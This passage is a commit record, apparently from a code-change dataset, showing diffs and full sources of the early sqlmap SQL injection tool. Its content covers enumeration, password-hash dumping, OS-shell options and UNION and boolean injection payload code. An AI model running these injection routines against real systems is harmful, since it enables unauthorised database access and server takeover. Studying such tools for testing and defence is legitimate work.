injection\")\n\n techniques.add_option(\"--union-test\", dest=\"unionTest\",\n action=\"store_true\",\n help=\"Test for UNION query (inband) SQL injection\")\n\n techniques.add_option(\"--union-use\", dest=\"unionUse\",\n action=\"store_true\",\n help=\"Use the UNION query (inband) SQL injection \"\n \"to retrieve the queries output. No \"\n \"need to go blind\")\n\n\n # Fingerprint options\n fingerprint = OptionGroup(parser, \"Fingerprint\")\n\n fingerprint.add_option(\"-f\", \"--fingerprint\", dest=\"extensiveFp\",\n action=\"store_true\",\n help=\"Perform an extensive DBMS version fingerprint\")\n\n\n # Enumeration options\n enumeration = OptionGroup(parser, \"Enumeration\", \"These options can \"\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n \"you can run your own SQL SELECT queries.\")\n\n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n\n enumeration.add_option(\"--current-user\", dest=\"getCurrentUser\",\n action=\"store_true\",\n help=\"Retrieve DBMS current user\")\n\n enumeration.add_option(\"--current-db\", dest=\"getCurrentDb\",\n action=\"store_true\",\n help=\"Retrieve DBMS current database\")\n\n enumeration.add_option(\"--is-dba\", dest=\"isDba\",\n action=\"store_true\",\n help=\"Detect if the DBMS current user is DBA\")\n\n enumeration.add_option(\"--users\", dest=\"getUsers\", action=\"store_true\",\n help=\"Enumerate DBMS users\")\n\n enumeration.add_option(\"--passwords\", dest=\"getPasswordHashes\",\n action=\"store_true\",\n help=\"Enumerate DBMS users password hashes (opt: -U)\")\n\n enumeration.add_option(\"--privileges\", dest=\"getPrivileges\",\n action=\"store_true\",\n help=\"Enumerate DBMS users privileges (opt: -U)\")\n\n enumeration.add_option(\"--dbs\", dest=\"getDbs\", action=\"store_true\",\n help=\"Enumerate DBMS databases\")\n\n enumeration.add_option(\"--tables\", dest=\"getTables\", action=\"store_true\",\n help=\"Enumerate DBMS database tables (opt: -D)\")\n\n enumeration.add_option(\"--columns\", dest=\"getColumns\", action=\"store_true\",\n help=\"Enumerate DBMS database table columns \"\n \"(req:-T opt:-D)\")\n\n enumeration.add_option(\"--dump\", dest=\"dumpTable\", action=\"store_true\",\n help=\"Dump DBMS database table entries \"\n \"(req: -T, opt: -D, -C, --start, --stop)\")\n\n enumeration.add_option(\"--dump-all\", dest=\"dumpAll\", action=\"store_true\",\n help=\"Dump all DBMS databases tables entries\")\n\n enumeration.add_option(\"-D\", dest=\"db\",\n help=\"DBMS database to enumerate\")\n\n enumeration.add_option(\"-T\", dest=\"tbl\",\n help=\"DBMS database table to enumerate\")\n\n enumeration.add_option(\"-C\", dest=\"col\",\n help=\"DBMS database table column to enumerate\")\n\n enumeration.add_option(\"-U\", dest=\"user\",\n help=\"DBMS user to enumerate\")\n\n enumeration.add_option(\"--exclude-sysdbs\", dest=\"excludeSysDbs\",\n action=\"store_true\",\n help=\"Exclude DBMS system databases when \"\n \"enumerating tables\")\n\n enumeration.add_option(\"--start\", dest=\"limitStart\", type=\"int\",\n help=\"First table entry to dump\")\n\n enumeration.add_option(\"--stop\", dest=\"limitStop\", type=\"int\",\n help=\"Last table entry to dump\")\n\n enumeration.add_option(\"--sql-query\", dest=\"query\",\n help=\"SQL SELECT query to be executed\")\n\n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true\",\n help=\"Prompt for an interactive SQL shell\")\n\n\n # File system options\n filesystem = OptionGroup(parser, \"File system access\", \"These options \"\n \"can be used to access the back-end database \"\n \"management system file system taking \"\n \"advantage of native DBMS functions or \"\n \"specific DBMS design weaknesses.\")\n\n filesystem.add_option(\"--read-file\", dest=\"rFile\",\n help=\"Read a specific OS file content (only on MySQL)\")\n\n filesystem.add_option(\"--write-file\", dest=\"wFile\",\n help=\"Write to a specific OS file (not yet available)\")\n\n\n # Takeover options\n takeover = OptionGroup(parser, \"Operating system access\", \"This \"\n \"option can be used to access the back-end \"\n \"database management system operating \"\n \"system taking advantage of specific DBMS \"\n \"design weaknesses.\")\n\n takeover.add_option(\"--os-shell\", dest=\"osShell\", action=\"store_true\",\n help=\"Prompt for an interactive OS shell \"\n \"(only on PHP/MySQL environment with a \"\n \"writable directory within the web \"\n \"server document root for the moment)\")\n\n\n # Miscellaneous options\n miscellaneous = OptionGroup(parser, \"Miscellaneous\")\n\n miscellaneous.add_option(\"--eta\", dest=\"eta\", action=\"store_true\",\n help=\"Retrieve each query output length and \"\n \"calculate the estimated time of arrival \"\n \"in real time\")\n\n miscellaneous.add_option(\"--update\", dest=\"updateAll\", action=\"store_true\",\n help=\"Update sqlmap to the latest stable version\")\n\n miscellaneous.add_option(\"-s\", dest=\"sessionFile\",\n help=\"Save and resume all data retrieved \"\n \"on a session file\")\n\n miscellaneous.add_option(\"--save\", dest=\"saveCmdline\", action=\"store_true\",\n help=\"Save options on a configuration INI file\")\n\n miscellaneous.add_option(\"--batch\", dest=\"batch\", action=\"store_true\",\n help=\"Never ask for user input, use the default behaviour\")\n\n\n parser.add_option_group(target)\n parser.add_option_group(request)\n parser.add_option_group(injection)\n parser.add_option_group(techniques)\n parser.add_option_group(fingerprint)\n parser.add_option_group(enumeration)\n parser.add_option_group(filesystem)\n parser.add_option_group(takeover)\n parser.add_option_group(miscellaneous)\n\n (args, _) = parser.parse_args()\n\n if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:\n errMsg = \"missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), \"\n errMsg += \"-h for help\"\n parser.error(errMsg)\n\n return args\n except (OptionError, TypeError), e:\n parser.error(e)\n\n debugMsg = \"parsing command line\"\n logger.debug(debugMsg)\n"}, "/lib/request/comparison.py": {"changes": [{"diff": "\n conf.seqMatcher.set_seq2(page)\n \n if getSeqMatcher:\n- return round(conf.seqMatcher.ratio(), 5)\n+ return round(conf.seqMatcher.ratio(), 3)\n \n- elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n+ elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:\n return True\n \n el", "add": 2, "remove": 2, "filename": "/lib/request/comparison.py", "badparts": [" return round(conf.seqMatcher.ratio(), 5)", " elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:"], "goodparts": [" return round(conf.seqMatcher.ratio(), 3)", " elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import re from lib.core.data import conf from lib.core.settings import MATCH_RATIO def comparison(page, headers=None, getSeqMatcher=False): regExpResults=None if conf.eString and conf.eString in page: index =page.index(conf.eString) length =len(conf.eString) pageWithoutString =page[:index] pageWithoutString +=page[index+length:] page =pageWithoutString if conf.eRegexp: regExpResults=re.findall(conf.eRegexp, page, re.I | re.M) if regExpResults: for regExpResult in regExpResults: index =page.index(regExpResult) length =len(regExpResult) pageWithoutRegExp =page[:index] pageWithoutRegExp +=page[index+length:] page =pageWithoutRegExp if conf.string: if conf.string in page: return True else: return False if conf.regexp: if re.search(conf.regexp, page, re.I | re.M): return True else: return False conf.seqMatcher.set_seq2(page) if getSeqMatcher: return round(conf.seqMatcher.ratio(), 5) elif round(conf.seqMatcher.ratio(), 5) >=MATCH_RATIO: return True else: return False ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport re\n\nfrom lib.core.data import conf\nfrom lib.core.settings import MATCH_RATIO\n\n\ndef comparison(page, headers=None, getSeqMatcher=False):\n regExpResults = None\n\n # String to be excluded before calculating page hash\n if conf.eString and conf.eString in page:\n index = page.index(conf.eString)\n length = len(conf.eString)\n pageWithoutString = page[:index]\n pageWithoutString += page[index+length:]\n page = pageWithoutString\n\n # Regular expression matches to be excluded before calculating page hash\n if conf.eRegexp:\n regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)\n\n if regExpResults:\n for regExpResult in regExpResults:\n index = page.index(regExpResult)\n length = len(regExpResult)\n pageWithoutRegExp = page[:index]\n pageWithoutRegExp += page[index+length:]\n page = pageWithoutRegExp\n\n # String to match in page when the query is valid\n if conf.string:\n if conf.string in page:\n return True\n else:\n return False\n\n # Regular expression to match in page when the query is valid\n if conf.regexp:\n if re.search(conf.regexp, page, re.I | re.M):\n return True\n else:\n return False\n\n # By default it returns sequence matcher between the first untouched\n # HTTP response page content and this content\n conf.seqMatcher.set_seq2(page)\n\n if getSeqMatcher:\n return round(conf.seqMatcher.ratio(), 5)\n\n elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n return True\n\n else:\n return False\n"}, "/lib/techniques/inband/union/test.py": {"changes": [{"diff": "\n \n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n- newResult = Request.queryPage(payload)\n+ newResult = Request.queryPage(payload, getSeqMatcher=True)\n \n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n \n- if count:\n- for element in resultDict.values():\n- if element[0] == 1:\n+ if count > 3:\n+ for ratio, element in resultDict.items():\n+ if element[0] == 1 and ratio > 0.5:\n if kb.injPlace == \"GET\":\n- value = \"%s?%s\" % (conf.url, payload)\n+ value = \"%s?%s\" % (conf.url, element[1])\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nPOST:\\t'%s'\\n\" % payload\n+ value += \"\\nPOST:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nCookie:\\t'%s'\\n\" % payload\n+ value += \"\\nCookie:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n- value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n+ value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]\n \n return value\n \n", "add": 8, "remove": 8, "filename": "/lib/techniques/inband/union/test.py", "badparts": [" newResult = Request.queryPage(payload)", " if count:", " for element in resultDict.values():", " if element[0] == 1:", " value = \"%s?%s\" % (conf.url, payload)", " value += \"\\nPOST:\\t'%s'\\n\" % payload", " value += \"\\nCookie:\\t'%s'\\n\" % payload", " value += \"\\nUser-Agent:\\t'%s'\\n\" % payload"], "goodparts": [" newResult = Request.queryPage(payload, getSeqMatcher=True)", " if count > 3:", " for ratio, element in resultDict.items():", " if element[0] == 1 and ratio > 0.5:", " value = \"%s?%s\" % (conf.url, element[1])", " value += \"\\nPOST:\\t'%s'\\n\" % element[1]", " value += \"\\nCookie:\\t'%s'\\n\" % element[1]", " value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" from lib.core.agent import agent from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.session import setUnion from lib.request.connect import Connect as Request def __effectiveUnionTest(query, comment): \"\"\" This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table \"\"\" resultDict={} for count in range(0, 50): if kb.dbms==\"Oracle\" and query.endswith(\" FROM DUAL\"): query=query[:-len(\" FROM DUAL\")] if count: query +=\", NULL\" if kb.dbms==\"Oracle\": query +=\" FROM DUAL\" commentedQuery=agent.postfixQuery(query, comment) payload=agent.payload(newValue=commentedQuery) newResult=Request.queryPage(payload) if not newResult in resultDict.keys(): resultDict[newResult]=(1, commentedQuery) else: resultDict[newResult]=(resultDict[newResult][0] +1, commentedQuery) if count: for element in resultDict.values(): if element[0]==1: if kb.injPlace==\"GET\": value=\"%s?%s\" %(conf.url, payload) elif kb.injPlace==\"POST\": value =\"URL:\\t'%s'\" % conf.url value +=\"\\nPOST:\\t'%s'\\n\" % payload elif kb.injPlace==\"Cookie\": value =\"URL:\\t'%s'\" % conf.url value +=\"\\nCookie:\\t'%s'\\n\" % payload elif kb.injPlace==\"User-Agent\": value =\"URL:\\t\\t'%s'\" % conf.url value +=\"\\nUser-Agent:\\t'%s'\\n\" % payload return value return None def unionTest(): \"\"\" This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times \"\"\" logMsg =\"testing inband sql injection on parameter \" logMsg +=\"'%s'\" % kb.injParameter logger.info(logMsg) value=\"\" query=agent.prefixQuery(\" UNION ALL SELECT NULL\") for comment in(queries[kb.dbms].comment, \"\"): value=__effectiveUnionTest(query, comment) if value: setUnion(comment, value.count(\"NULL\")) break if kb.unionCount: logMsg =\"the target url could be affected by an \" logMsg +=\"inband sql injection vulnerability\" logger.info(logMsg) else: warnMsg =\"the target url is not affected by an \" warnMsg +=\"inband sql injection vulnerability\" logger.warn(warnMsg) return value ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nfrom lib.core.agent import agent\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.data import queries\nfrom lib.core.session import setUnion\nfrom lib.request.connect import Connect as Request\n\n\ndef __effectiveUnionTest(query, comment):\n \"\"\"\n This method tests if the target url is affected by an inband\n SQL injection vulnerability. The test is done up to 50 columns\n on the target database table\n \"\"\"\n\n resultDict = {}\n\n for count in range(0, 50):\n if kb.dbms == \"Oracle\" and query.endswith(\" FROM DUAL\"):\n query = query[:-len(\" FROM DUAL\")]\n\n if count:\n query += \", NULL\"\n\n if kb.dbms == \"Oracle\":\n query += \" FROM DUAL\"\n\n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n newResult = Request.queryPage(payload)\n\n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n\n if count:\n for element in resultDict.values():\n if element[0] == 1:\n if kb.injPlace == \"GET\":\n value = \"%s?%s\" % (conf.url, payload)\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n value += \"\\nPOST:\\t'%s'\\n\" % payload\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n value += \"\\nCookie:\\t'%s'\\n\" % payload\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n\n return value\n\n return None\n\n\ndef unionTest():\n \"\"\"\n This method tests if the target url is affected by an inband\n SQL injection vulnerability. The test is done up to 3*50 times\n \"\"\"\n\n logMsg = \"testing inband sql injection on parameter \"\n logMsg += \"'%s'\" % kb.injParameter\n logger.info(logMsg)\n\n value = \"\"\n\n query = agent.prefixQuery(\" UNION ALL SELECT NULL\")\n\n for comment in (queries[kb.dbms].comment, \"\"):\n value = __effectiveUnionTest(query, comment)\n\n if value:\n setUnion(comment, value.count(\"NULL\"))\n\n break\n\n if kb.unionCount:\n logMsg = \"the target url could be affected by an \"\n logMsg += \"inband sql injection vulnerability\"\n logger.info(logMsg)\n else:\n warnMsg = \"the target url is not affected by an \"\n warnMsg += \"inband sql injection vulnerability\"\n logger.warn(warnMsg)\n\n return value\n"}}, "msg": "Minor adjustment to UNION query SQL injection detection function.\nUpdated command line help message based upon recent developments.\nUpdated copyright note of lib/contrib/multipartpost.py."}}, "https://github.com/alliancetechnical/spamsms": {"35708a0b975f89357e75f8f74999900da9fe9894": {"url": "https://api.github.com/repos/alliancetechnical/spamsms/commits/35708a0b975f89357e75f8f74999900da9fe9894", "html_url": "https://github.com/alliancetechnical/spamsms/commit/35708a0b975f89357e75f8f74999900da9fe9894", "message": "Minor adjustment to UNION query SQL injection detection function.\nUpdated command line help message based upon recent developments.\nUpdated copyright note of lib/contrib/multipartpost.py.", "sha": "35708a0b975f89357e75f8f74999900da9fe9894", "keyword": "command injection update", "diff": "diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py\nindex 9cc7a48d..8a1ddc64 100644\n--- a/lib/contrib/multipartpost.py\n+++ b/lib/contrib/multipartpost.py\n@@ -5,6 +5,8 @@\n \n 02/2006 Will Holcomb \n \n+Reference: http://odin.himinbi.org/MultipartPostHandler.py\n+\n This library is free software; you can redistribute it and/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n@@ -14,6 +16,10 @@\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n+\n+You should have received a copy of the GNU Lesser General Public\n+License along with this library; if not, write to the Free Software\n+Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n \"\"\"\n \n \ndiff --git a/lib/controller/checks.py b/lib/controller/checks.py\nindex 3050728c..2202dab0 100644\n--- a/lib/controller/checks.py\n+++ b/lib/controller/checks.py\n@@ -295,15 +295,12 @@ def checkStability():\n logger.info(infoMsg)\n \n firstPage, firstHeaders = Request.queryPage(content=True)\n- time.sleep(0.5)\n+ time.sleep(1)\n \n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n \n- thirdPage, thirdHeaders = Request.queryPage(content=True)\n-\n- condition = firstPage == secondPage\n- condition &= secondPage == thirdPage\n+ condition = firstPage == secondPage\n \n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page \"\ndiff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py\nindex f3349f13..c89180de 100644\n--- a/lib/parse/cmdline.py\n+++ b/lib/parse/cmdline.py\n@@ -189,7 +189,7 @@ def cmdLineParser():\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n- \"you can run your own SQL SELECT queries.\")\n+ \"you can run your own SQL statements.\")\n \n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n@@ -258,7 +258,7 @@ def cmdLineParser():\n help=\"Last table entry to dump\")\n \n enumeration.add_option(\"--sql-query\", dest=\"query\",\n- help=\"SQL SELECT query to be executed\")\n+ help=\"SQL statement to be executed\")\n \n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true\",\ndiff --git a/lib/request/comparison.py b/lib/request/comparison.py\nindex a42542bf..3c520818 100644\n--- a/lib/request/comparison.py\n+++ b/lib/request/comparison.py\n@@ -72,9 +72,9 @@ def comparison(page, headers=None, getSeqMatcher=False):\n conf.seqMatcher.set_seq2(page)\n \n if getSeqMatcher:\n- return round(conf.seqMatcher.ratio(), 5)\n+ return round(conf.seqMatcher.ratio(), 3)\n \n- elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n+ elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:\n return True\n \n else:\ndiff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py\nindex e0bd1e5d..3ef577b7 100644\n--- a/lib/techniques/inband/union/test.py\n+++ b/lib/techniques/inband/union/test.py\n@@ -54,27 +54,27 @@ def __effectiveUnionTest(query, comment):\n \n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n- newResult = Request.queryPage(payload)\n+ newResult = Request.queryPage(payload, getSeqMatcher=True)\n \n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n \n- if count:\n- for element in resultDict.values():\n- if element[0] == 1:\n+ if count > 3:\n+ for ratio, element in resultDict.items():\n+ if element[0] == 1 and ratio > 0.5:\n if kb.injPlace == \"GET\":\n- value = \"%s?%s\" % (conf.url, payload)\n+ value = \"%s?%s\" % (conf.url, element[1])\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nPOST:\\t'%s'\\n\" % payload\n+ value += \"\\nPOST:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nCookie:\\t'%s'\\n\" % payload\n+ value += \"\\nCookie:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n- value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n+ value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]\n \n return value\n \n", "files": {"/lib/controller/checks.py": {"changes": [{"diff": "\n logger.info(infoMsg)\n \n firstPage, firstHeaders = Request.queryPage(content=True)\n- time.sleep(0.5)\n+ time.sleep(1)\n \n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n \n- thirdPage, thirdHeaders = Request.queryPage(content=True)\n-\n- condition = firstPage == secondPage\n- condition &= secondPage == thirdPage\n+ condition = firstPage == secondPage\n \n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page ", "add": 2, "remove": 5, "filename": "/lib/controller/checks.py", "badparts": [" time.sleep(0.5)", " thirdPage, thirdHeaders = Request.queryPage(content=True)", " condition = firstPage == secondPage", " condition &= secondPage == thirdPage"], "goodparts": [" time.sleep(1)", " condition = firstPage == secondPage"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import re import time from lib.controller.action import action from lib.core.agent import agent from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapConnectionException from lib.core.session import setString from lib.core.session import setRegexp from lib.request.connect import Connect as Request def checkSqlInjection(place, parameter, value, parenthesis): \"\"\" This function checks if the GET, POST, Cookie, User-Agent parameters are affected by a SQL injection vulnerability and identifies the type of SQL injection: * Unescaped numeric injection * Single quoted string injection * Double quoted string injection \"\"\" randInt=randomInt() randStr=randomStr() if conf.prefix or conf.postfix: prefix =\"\" postfix=\"\" if conf.prefix: prefix=conf.prefix if conf.postfix: postfix=conf.postfix infoMsg =\"testing custom injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt, postfix)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt +1, postfix)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming custom injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%s %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randStr, postfix)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"custom injectable \" logger.info(infoMsg) return \"custom\" infoMsg =\"testing unescaped numeric injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt +1)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming unescaped numeric injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s AND %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"unescaped numeric injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"numeric\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"unescaped numeric injectable\" logger.info(infoMsg) infoMsg =\"testing single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"single quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"stringsingle\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"single quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing LIKE single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming LIKE single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"LIKE single quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"likesingle\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"LIKE single quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, 